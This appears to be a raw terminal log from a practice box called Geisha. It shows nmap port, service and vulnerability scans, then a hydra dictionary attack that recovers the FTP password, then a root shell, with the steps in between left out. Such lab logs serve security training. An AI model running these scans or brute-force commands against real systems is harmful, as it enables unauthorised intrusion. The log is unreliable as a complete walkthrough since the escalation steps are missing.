┌──(kali㉿kali)-[~/Downloads/Geisha_1] └─$ sudo nmap --min-rate 10000 -p- 192.1.1.145 Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-29 22:52 EDT Nmap scan report for 192.1.1.145 Host is up (0.00011s latency). Not shown: 65528 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 7080/tcp open empowerid 7125/tcp open unknown 8088/tcp open radan-http 9198/tcp open unknown MAC Address: 00:0C:29:B4:24:08 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 10.59 seconds
┌──(kali㉿kali)-[~/Downloads/Geisha_1] └─$ sudo nmap -sT -sV -sC -O -p21,22,80,7080,7125,8088,9198 192.1.1.145 Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-29 22:56 EDT Nmap scan report for 192.1.1.145 Host is up (0.00026s latency).
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 1b:f2:5d:cd:89:13:f2:49:00:9f:8c:f9:eb:a2:a2:0c (RSA) | 256 31:5a:65:2e:ab:0f:59:ab:e0:33:3a:0c:fc:49:e0:5f (ECDSA) |_ 256 c6:a7:35:14:96:13:f8:de:1e:e2:bc:e7:c7:66:8b:ac (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Geisha 7080/tcp open ssl/http LiteSpeed httpd |_http-server-header: LiteSpeed | ssl-cert: Subject: commonName=geisha/organizationName=webadmin/countryName=US | Not valid before: 2020-05-09T14:01:34 |_Not valid after: 2022-05-09T14:01:34 | tls-alpn: | h2 | spdy/3 | spdy/2 |_ http/1.1 |_http-title: Geisha |_ssl-date: TLS randomness does not represent time 7125/tcp open http nginx 1.17.10 |_http-title: Geisha |_http-server-header: nginx/1.17.10 8088/tcp open http LiteSpeed httpd |_http-server-header: LiteSpeed |_http-title: Geisha 9198/tcp open http SimpleHTTPServer 0.6 (Python 2.7.16) |_http-server-header: SimpleHTTP/0.6 Python/2.7.16 |_http-title: Geisha MAC Address: 00:0C:29:B4:24:08 (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 36.05 seconds
┌──(kali㉿kali)-[~/Downloads/Geisha_1] └─$ sudo nmap --script=vuln -p21,22,80,7080,7125,8088,9198 192.1.1.145 Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-29 22:57 EDT Nmap scan report for 192.1.1.145 Host is up (0.00025s latency).
PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http |_http-dombased-xss: Couldn\'t find any DOM based XSS. |_http-csrf: Couldn\'t find any CSRF vulnerabilities. |_http-stored-xss: Couldn\'t find any stored XSS vulnerabilities. | http-enum: |_ /info.php: Possible information file 7080/tcp open empowerid |_http-aspnet-debug: ERROR: Script execution failed (use -d to debug) | http-litespeed-sourcecode-download: | Litespeed Web Server Source Code Disclosure (CVE-2010-2333) | /index.php source code: | <html><head><title>400 Bad Request</title></head><body> | <h2>HTTPS is required</h2> | <p>This is an SSL protected page, please use the HTTPS scheme instead of the plain HTTP scheme to access this URL.<br /> | <blockquote>Hint: The URL should starts with <b>https</b>://</blockquote> </p> | <hr /> | Powered By LiteSpeed Web Server<br /> | <a href='http://www.litespeedtech.com'><i>http://www.litespeedtech.com</i></a> |_</body></html> |_http-vuln-cve2013-7091: ERROR: Script execution failed (use -d to debug) |_http-passwd: ERROR: Script execution failed (use -d to debug) | http-slowloris-check: | VULNERABLE: | Slowloris DOS attack | State: LIKELY VULNERABLE | IDs: CVE:CVE-2007-6750 | Slowloris tries to keep many connections to the target web server open and hold | them open as long as possible. It accomplishes this by opening connections to | the target web server and sending a partial request. By doing so, it starves | the http server\'s resources causing Denial Of Service. | | Disclosure date: 2009-09-17 | References: | http://ha.ckers.org/slowloris/ |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750 7125/tcp open unknown 8088/tcp open radan-http | http-enum: |_ /info.php: Possible information file 9198/tcp open unknown MAC Address: 00:0C:29:B4:24:08 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 331.59 seconds
┌──(kali㉿kali)-[~/Downloads/Geisha_1] └─$ sudo hydra -l geisha -P /usr/share/seclists/Passwords/darkweb2017-top10000.txt 192.1.1.145 ftp [sudo] password for kali: Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-08-29 22:54:37 [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 16 tasks per 1 server, overall 16 tasks, 9999 login tries (l:1/p:9999), ~625 tries per task [DATA] attacking ftp://192.1.1.145:21/ [21][ftp] host: 192.1.1.145 login: geisha password: letmein 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-08-29 22:55:33
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sat May 9 12:03:57 2020 from 192.168.1.21 root@geisha:~# cd /root root@geisha:~# ls flag.txt root@geisha:~# whoami root root@geisha:~# ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 00:0c:29:b4:24:08 brd ff:ff:ff:ff:ff:ff inet 192.1.1.145/24 brd 192.1.1.255 scope global dynamic ens33 valid_lft 1138sec preferred_lft 1138sec inet6 fe80::20c:29ff:feb4:2408/64 scope link valid_lft forever preferred_lft forever 3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default link/ether 02:42:b0:73:a4:a9 brd ff:ff:ff:ff:ff:ff inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0 valid_lft forever preferred_lft forever 4: br-c987d2b66beb: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ee:8e:c2:ab brd ff:ff:ff:ff:ff:ff inet 172.18.0.1/16 brd 172.18.255.255 scope global br-c987d2b66beb valid_lft forever preferred_lft forever inet6 fe80::42:eeff:fe8e:c2ab/64 scope link valid_lft forever preferred_lft forever 1590: vethdb2139e@if1589: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-c987d2b66beb state UP group default link/ether 92:cf:34:bd:2d:e9 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet6 fe80::90cf:34ff:febd:2de9/64 scope link valid_lft forever preferred_lft forever 1592: veth4a06cb7@if1591: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-c987d2b66beb state UP group default link/ether 4a:d7:e0:f7:06:23 brd ff:ff:ff:ff:ff:ff link-netnsid 1 inet6 fe80::48d7:e0ff:fef7:623/64 scope link valid_lft forever preferred_lft forever root@geisha:~# uname -a Linux geisha 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1+deb10u1 (2020-04-27) x86_64 GNU/Linux
